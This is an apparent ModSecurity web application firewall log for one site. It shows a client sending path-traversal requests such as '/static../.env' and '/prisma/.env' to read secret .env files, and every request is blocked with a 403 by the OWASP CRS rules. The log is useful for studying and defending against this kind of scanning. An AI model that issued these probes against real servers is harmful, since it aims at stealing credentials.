[Sun Oct 25 14:01:41.691666 2026] [security2:error] [pid 2875760:tid 2875760] [client 35.229.22.35:40578] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /assets../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/assets../.env"] [unique_id "at5EBW1d3XiN0G_LuszDtAAAAAY"]
[Sun Oct 25 14:01:41.691666 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /images../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/images../.env"] [unique_id "at5EBfwFw76qlSfceadvfgAAAAA"]
[Sun Oct 25 14:01:41.691715 2026] [security2:error] [pid 2875760:tid 2875760] [client 35.229.22.35:40578] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /assets../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/assets../.env"] [unique_id "at5EBW1d3XiN0G_LuszDtAAAAAY"]
[Sun Oct 25 14:01:41.691722 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /images../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/images../.env"] [unique_id "at5EBfwFw76qlSfceadvfgAAAAA"]
[Sun Oct 25 14:01:41.691779 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/images../.env"] [unique_id "at5EBfwFw76qlSfceadvfgAAAAA"]
[Sun Oct 25 14:01:41.691781 2026] [security2:error] [pid 2875760:tid 2875760] [client 35.229.22.35:40578] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/assets../.env"] [unique_id "at5EBW1d3XiN0G_LuszDtAAAAAY"]
[Sun Oct 25 14:01:41.691972 2026] [security2:error] [pid 2875760:tid 2875760] [client 35.229.22.35:40578] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/assets../.env"] [unique_id "at5EBW1d3XiN0G_LuszDtAAAAAY"]
[Sun Oct 25 14:01:41.691972 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/images../.env"] [unique_id "at5EBfwFw76qlSfceadvfgAAAAA"]
[Sun Oct 25 14:01:41.692227 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/images../.env"] [unique_id "at5EBfwFw76qlSfceadvfgAAAAA"]
[Sun Oct 25 14:01:41.692232 2026] [security2:error] [pid 2875760:tid 2875760] [client 35.229.22.35:40578] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/assets../.env"] [unique_id "at5EBW1d3XiN0G_LuszDtAAAAAY"]
[Sun Oct 25 14:01:41.694309 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /uploads../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/uploads../.env"] [unique_id "at5EBYIGIq5euXyTbvT1PgAAACQ"]
[Sun Oct 25 14:01:41.694348 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prisma/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/prisma/.env"] [unique_id "at5EBf1CbQghwAu-zzMCRgAAACA"]
[Sun Oct 25 14:01:41.694354 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /uploads../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/uploads../.env"] [unique_id "at5EBYIGIq5euXyTbvT1PgAAACQ"]
[Sun Oct 25 14:01:41.694406 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/uploads../.env"] [unique_id "at5EBYIGIq5euXyTbvT1PgAAACQ"]
[Sun Oct 25 14:01:41.694500 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/prisma/.env"] [unique_id "at5EBf1CbQghwAu-zzMCRgAAACA"]
[Sun Oct 25 14:01:41.694569 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/uploads../.env"] [unique_id "at5EBYIGIq5euXyTbvT1PgAAACQ"]
[Sun Oct 25 14:01:41.694736 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/prisma/.env"] [unique_id "at5EBf1CbQghwAu-zzMCRgAAACA"]
[Sun Oct 25 14:01:41.694785 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/uploads../.env"] [unique_id "at5EBYIGIq5euXyTbvT1PgAAACQ"]
[Sun Oct 25 14:01:41.695670 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40562] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/static../.env"] [unique_id "at5EBRfmy5DaFfyE01WrKgAAABE"]
[Sun Oct 25 14:01:41.695720 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40562] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/static../.env"] [unique_id "at5EBRfmy5DaFfyE01WrKgAAABE"]
[Sun Oct 25 14:01:41.695765 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40562] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/static../.env"] [unique_id "at5EBRfmy5DaFfyE01WrKgAAABE"]
[Sun Oct 25 14:01:41.695921 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40562] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/static../.env"] [unique_id "at5EBRfmy5DaFfyE01WrKgAAABE"]
[Sun Oct 25 14:01:41.696154 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40562] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/static../.env"] [unique_id "at5EBRfmy5DaFfyE01WrKgAAABE"]
[Sun Oct 25 14:01:41.710788 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40558] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /public../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/public../.env"] [unique_id "at5EBbc82c1J4zoyxalWowAAAAI"]
[Sun Oct 25 14:01:41.710834 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40558] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /public../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/public../.env"] [unique_id "at5EBbc82c1J4zoyxalWowAAAAI"]
[Sun Oct 25 14:01:41.710906 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40558] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/public../.env"] [unique_id "at5EBbc82c1J4zoyxalWowAAAAI"]
[Sun Oct 25 14:01:41.711088 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40558] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/public../.env"] [unique_id "at5EBbc82c1J4zoyxalWowAAAAI"]
[Sun Oct 25 14:01:41.711370 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40558] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/public../.env"] [unique_id "at5EBbc82c1J4zoyxalWowAAAAI"]
[Sun Oct 25 14:01:41.712366 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40560] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /img../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/img../.env"] [unique_id "at5EBe6EytsuoC67cD91jwAAAAE"]
[Sun Oct 25 14:01:41.712409 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40560] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /img../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/img../.env"] [unique_id "at5EBe6EytsuoC67cD91jwAAAAE"]
[Sun Oct 25 14:01:41.712455 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40560] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/img../.env"] [unique_id "at5EBe6EytsuoC67cD91jwAAAAE"]
[Sun Oct 25 14:01:41.712625 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40560] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/img../.env"] [unique_id "at5EBe6EytsuoC67cD91jwAAAAE"]
[Sun Oct 25 14:01:41.712847 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40560] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/img../.env"] [unique_id "at5EBe6EytsuoC67cD91jwAAAAE"]
[Sun Oct 25 14:01:41.714270 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /dist../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/dist../.env"] [unique_id "at5EBROIqc1eRNCRH2cpEAAAAAc"]
[Sun Oct 25 14:01:41.714326 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /dist../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/dist../.env"] [unique_id "at5EBROIqc1eRNCRH2cpEAAAAAc"]
[Sun Oct 25 14:01:41.714372 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/dist../.env"] [unique_id "at5EBROIqc1eRNCRH2cpEAAAAAc"]
[Sun Oct 25 14:01:41.714532 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/dist../.env"] [unique_id "at5EBROIqc1eRNCRH2cpEAAAAAc"]
[Sun Oct 25 14:01:41.714758 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/dist../.env"] [unique_id "at5EBROIqc1eRNCRH2cpEAAAAAc"]
